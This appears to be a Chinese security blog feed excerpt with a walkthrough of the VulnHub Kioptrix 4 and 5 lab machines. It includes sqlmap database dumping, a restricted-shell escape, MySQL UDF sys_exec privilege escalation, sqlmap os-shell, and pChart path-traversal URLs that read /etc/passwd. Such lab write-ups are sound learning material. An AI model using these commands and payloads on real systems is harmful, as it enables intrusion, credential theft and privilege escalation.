&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="image-20250225101809728" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250225101809728.png"&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;ftp ftp://192.168.139.1:2121/26368.c
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;然后再在靶机上用ftp的命令下载。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250225102109173" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250225102109173.png"&gt;&lt;/p&gt;
&lt;p&gt;用蚁剑的话可以直接传文件。但是蚁剑的终端显示不了root，所以混合着用。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250225100735951" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250225100735951.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250225101027822" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250225101027822.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250225100957022" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250225100957022.png"&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;🔔 &lt;strong&gt;想要获取更多网络安全与编程技术干货？&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;关注 &lt;strong&gt;泷羽Sec-静安&lt;/strong&gt; 公众号，与你一起探索前沿技术，分享实用的学习资源与工具。我们专注于深入分析，拒绝浮躁，只做最实用的技术分享！💻&lt;/p&gt;
&lt;p&gt;扫描下方二维码，马上加入我们，共同成长！🌟&lt;/p&gt;
&lt;p&gt;👉 &lt;strong&gt;长按或扫描二维码关注公众号&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;或者直接回复文章中的关键词，获取更多技术资料与书单推荐！📚&lt;/p&gt;</description></item><item><title>Day5 Kioptrix 系列靶机4-5</title><link>https://ruajingjing.top/post/day5-kioptrix-%E7%B3%BB%E5%88%97%E9%9D%B6%E6%9C%BA4-5/</link><pubDate>Wed, 26 Feb 2025 16:47:42 +0000</pubDate><guid>https://ruajingjing.top/post/day5-kioptrix-%E7%B3%BB%E5%88%97%E9%9D%B6%E6%9C%BA4-5/</guid><description>&lt;img src="https://ruajingjing.top/" alt="Featured image of post Day5 Kioptrix 系列靶机4-5" /&gt;
 &lt;blockquote&gt;
 &lt;p&gt;关注 &lt;strong&gt;泷羽Sec&lt;/strong&gt;和&lt;strong&gt;泷羽Sec-静安&lt;/strong&gt;公众号，这里会定期更新与 OSCP、渗透测试等相关的最新文章，帮助你理解网络安全领域的最新动态。
关注公众号&lt;code&gt;泷羽Sec-静安&lt;/code&gt;，后台回复&lt;code&gt;找工具+Day4&lt;/code&gt;获取BurpSuit 和Yakit安装包。&lt;/p&gt;

 &lt;/blockquote&gt;
&lt;p&gt;最近忙这学C++，还有工作调动，好消息是我升职了，祝各位同行也早日升职，走上人生巅峰，实现财富自由，我也向着这个目标努力哈哈哈。前两天在忙着找房子租房子，找了一圈下来基本都要1500+/月，一室一厅一卫，最后还是算了，睡单位破宿舍得了，免费又近，上下班时间2分钟，除了洗澡洗衣服不方便。而且后面忙起来可能会一直在办公室加班，在办公室学习也不错的。我们办公室学习氛围很好。&lt;/p&gt;

 &lt;blockquote&gt;
 &lt;p&gt;2025年2月21日 16点12分&lt;/p&gt;

 &lt;/blockquote&gt;
&lt;h2 id="kioptrix-level-13-4"&gt;&lt;a class="link" href="https://www.vulnhub.com/entry/kioptrix-level-13-4,25/" target="_blank" rel="noopener"
 &gt;Kioptrix: Level 1.3 (#4)&lt;/a&gt;
&lt;/h2&gt;&lt;p&gt;老样子先看网段。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250221161947371" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250221161947371.png"&gt;&lt;img alt="image-20250221162038841" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250221162038841.png"&gt;&lt;/p&gt;
&lt;p&gt;打开网页看，一个登录入口，弱密码和sql注入试了似乎不行。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250221162441938" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250221162441938.png"&gt;
&lt;img alt="image-20250221162529901" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250221162529901.png"&gt;&lt;/p&gt;
&lt;p&gt;目录扫描发现似乎有敏感文件泄露。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250221162558770" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250221162558770.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250221162731610" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250221162731610.png"&gt;&lt;/p&gt;
&lt;p&gt;没有什么发现，重新用&lt;code&gt;dirsearch&lt;/code&gt;扫描试试。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250221163717257" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250221163717257.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250221163608733" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250221163608733.png"&gt;&lt;/p&gt;
&lt;p&gt;直接用&lt;code&gt;john/1234&lt;/code&gt;登录index是不行的，但是继续扫描发现有额外的登录页面。试了也不行。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250221163826938" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250221163826938.png"&gt;&lt;/p&gt;
&lt;p&gt;只有返回登陆界面试试&lt;code&gt;sqlmap&lt;/code&gt;自动注入，尽量别用，下次有别的思路再试试。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;sqlmap -r KP4.txt --dump --batch --level &lt;span class="m"&gt;3&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="image-20250221164857841" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250221164857841.png"&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-txt" data-lang="txt"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;Database: members
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;Table: members
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;[2 entries]
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;4&lt;/span&gt;&lt;span class="cl"&gt;+----+-----------------------+----------+
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;5&lt;/span&gt;&lt;span class="cl"&gt;| id | password | username |
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;6&lt;/span&gt;&lt;span class="cl"&gt;+----+-----------------------+----------+
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;7&lt;/span&gt;&lt;span class="cl"&gt;| 1 | MyNameIsJohn | john |
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;8&lt;/span&gt;&lt;span class="cl"&gt;| 2 | ADGAdsafdfwt4gadfga== | robert |
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;9&lt;/span&gt;&lt;span class="cl"&gt;+----+-----------------------+----------+
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="image-20250221164942956" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250221164942956.png"&gt;&lt;/p&gt;
&lt;p&gt;网页能登录，但是啥也没有，试试ssh登录。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;ssh -o &lt;span class="nv"&gt;HostKeyAlgorithms&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;+ssh-rsa john@192.168.139.133
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="image-20250221165304177" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250221165304177.png"&gt;&lt;/p&gt;
&lt;p&gt;登上去后发现应该是命令受限，只能使用几个命令，whoami都不行。&lt;code&gt;help&lt;/code&gt;发现只能用下面这几个。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250221165351239" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250221165351239.png"&gt;&lt;/p&gt;
&lt;p&gt;用echo就能逃逸这个终端环境到bash环境，用更多命令。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250221165521336" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250221165521336.png"&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;find / -name &lt;span class="s2"&gt;&amp;#34;*.php&amp;#34;&lt;/span&gt; 2&amp;gt;/dev/null
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;找一下php文件，刚刚目录扫描出来的文件泄露有php，所以可能有php文件泄露。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250221165812243" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250221165812243.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250221165844204" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250221165844204.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250221165916389" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250221165916389.png"&gt;&lt;/p&gt;
&lt;p&gt;两个php文件内容是一样的，其他的看了也没有特别的发现，这里写了用户名和密码，root，空密码，是mysql的密码。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt; mysql -u root -p
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="image-20250221170148188" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250221170148188.png"&gt;&lt;/p&gt;
&lt;p&gt;然后再在mysql里面用udf提权，老演员了。&lt;/p&gt;
&lt;h3 id="udf提权方法1-手动哈希注入"&gt;UDF提权方法1-手动哈希注入
&lt;/h3&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-sql" data-lang="sql"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;show&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;global&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;variables&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;like&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;secure_file_priv&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;select&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;@@&lt;/span&gt;&lt;span class="n"&gt;version_compile_os&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;@@&lt;/span&gt;&lt;span class="n"&gt;version_compile_machine&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="image-20250221170351077" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250221170351077.png"&gt;&lt;/p&gt;
&lt;p&gt;这个属性为空值就可以提权。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250221170434692" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250221170434692.png"&gt;&lt;/p&gt;
&lt;p&gt;不太确认用哪个了，而且plung目录似乎没有，这个方法不行。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250221172430058" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250221172430058.png"&gt;&lt;/p&gt;
&lt;h3 id="udf提权方法2-sys_exec函数提权"&gt;UDF提权方法2-sys_exec函数提权
&lt;/h3&gt;&lt;p&gt;sys_exec可以使用系统命令，直接把john加管理员里。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-sql" data-lang="sql"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;select&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;from&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;mysql&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;func&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;select&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;sys_exec&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;usermod -a -G admin john&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="image-20250221170759716" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250221170759716.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250221171126775" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250221171126775.png"&gt;&lt;/p&gt;
&lt;h3 id="udf提权方法3-sqlmap提权"&gt;udf提权方法3-sqlmap提权
&lt;/h3&gt;&lt;p&gt;以上是手动写入的方法，以下是sqlmap自动写入的方法，sqlmap使用前提是知道账号密码。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;sqlmap -d &lt;span class="s2"&gt;&amp;#34;mysql://root:@192.168.139.133:3306/mysql&amp;#34;&lt;/span&gt; --os-shell
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="image-20250221171429958" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250221171429958.png"&gt;&lt;/p&gt;
&lt;p&gt;此处应用失败是因为靶机的mysql端口没有打开，只是在内部访问。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250221171725641" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250221171725641.png"&gt;&lt;/p&gt;

 &lt;blockquote&gt;
 &lt;p&gt;2025年2月21日 17点27分&lt;/p&gt;

 &lt;/blockquote&gt;
&lt;h2 id="kioptrix-2014-5"&gt;&lt;a class="link" href="https://www.vulnhub.com/entry/kioptrix-2014-5,62/" target="_blank" rel="noopener"
 &gt;Kioptrix: 2014 (#5)&lt;/a&gt;
&lt;/h2&gt;
 &lt;blockquote&gt;
 &lt;p&gt;2025年2月22日14点04分&lt;/p&gt;

 &lt;/blockquote&gt;
&lt;p&gt;官方推荐的靶场笔记博客 &lt;a class="link" href="https://www.abatchy.com/2017/01/kioptrix-2014-5-walkthrough-vulnhub.html" target="_blank" rel="noopener"
 &gt;https://www.abatchy.com/2017/01/kioptrix-2014-5-walkthrough-vulnhub.html&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;打开靶机，扫描靶机。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250222141639165" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250222141639165.png"&gt;&lt;/p&gt;
&lt;p&gt;端口，ssh没有开放，就一个80和8080端口开放。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250222142146186" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250222142146186.png"&gt;&lt;/p&gt;
&lt;p&gt;主页就一个静态网页。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250222141742746" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250222141742746.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250222142227341" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250222142227341.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250222141958434" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250222141958434.png"&gt;&lt;/p&gt;
&lt;p&gt;curl网页源码发现一个应该是框架的东西&lt;code&gt;pChart&lt;/code&gt;从名字看应该改是画图之类的东西。搜索相关利用漏洞，只有一个。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250222145855558" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250222145855558.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250222150208066" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250222150208066.png"&gt;&lt;/p&gt;
&lt;p&gt;先测试一下能不能打开这个网页，如果打不开，Vmware提示什么FreeBSD tools更新之类的是vmware犯病，不用管也不用更新，重启靶机就行。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250222151522359" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250222151522359.png"&gt;&lt;/p&gt;
&lt;p&gt;然后就能用这个漏洞看文件了，看密码，看apache配置。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-txt" data-lang="txt"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;http://192.168.139.134/pChart2.1.3/examples/index.php?Action=View&amp;amp;Script=%2f..%2f..%2fetc/passwd
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;http://192.168.139.134/pChart2.1.3/examples/index.php?Action=View&amp;amp;Script=%2f..%2f..%2fusr/local/etc/apache22/httpd.conf
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
 &lt;blockquote&gt;
 &lt;p&gt;2025年2月22日 15时18分&lt;/p&gt;

 &lt;/blockquote&gt;
&lt;p&gt;之前能打开一次，估计时靶机有问题，然后vmware老提示FreeBSD tools安装的问题，不确定是哪一个，重新下载&lt;a class="link" href="https://download.vulnhub.com/kioptrix/kiop2014_fix.zip" target="_blank" rel="noopener"
 &gt;官方镜像&lt;/a&gt;，然后安装&lt;a class="link" href="https://download.virtualbox.org/virtualbox/7.1.6/VirtualBox-7.1.6-167084-Win.exe" target="_blank" rel="noopener"
 &gt;VBox&lt;/a&gt; 和&lt;a class="link" href="https://download.virtualbox.org/virtualbox/7.1.6/Oracle_VirtualBox_Extension_Pack-7.1.6.vbox-extpack" target="_blank" rel="noopener"
 &gt;相关插件&lt;/a&gt;再试试，我看官网是用Vbox 的。还有可能是劫持问题。后面试了有觉得可能是因为刷靶机中途开了加速器玩了几把Kards，开加速器的时候把代理干废了，然后就登不上了。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250224142151596" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250224142151596.png"&gt;&lt;/p&gt;
&lt;p&gt;是玩游戏导致代理混乱，重新在BurSuit中配置代理的方法。这个是我翻墙的代理，平时都开着。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250224163151192" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250224163151192.png"&gt;&lt;/p&gt;
&lt;p&gt;burp连代理有时候不成功，多试几次，可能是因为机场问题，检查一下机场节点是不是超过300ms了。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250224163400792" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250224163400792.png"&gt;&lt;/p&gt;

 &lt;blockquote&gt;
 &lt;p&gt;2025年2月24日 14点25分&lt;/p&gt;

 &lt;/blockquote&gt;
&lt;p&gt;&lt;img alt="image-20250224142556577" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250224142556577.png"&gt;&lt;/p&gt;
&lt;p&gt;就是代理问题，回头要重新配代理，刷靶机的时候不要瞎玩游戏。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250224144049960" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250224144049960.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250224144033567" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250224144033567.png"&gt;&lt;/p&gt;
&lt;p&gt;可以看到服务器配置信息里写了，配置信息里写了用mozilla的请求头就可以访问8080&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250224144730129" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250224144730129.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250224144910843" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250224144910843.png"&gt;&lt;/p&gt;
&lt;p&gt;如果没有安装hackbar，也可以用curl方法判断。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250224145001566" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250224145001566.png"&gt;&lt;/p&gt;
&lt;p&gt;搜索并下载相关poc。&lt;/p&gt;
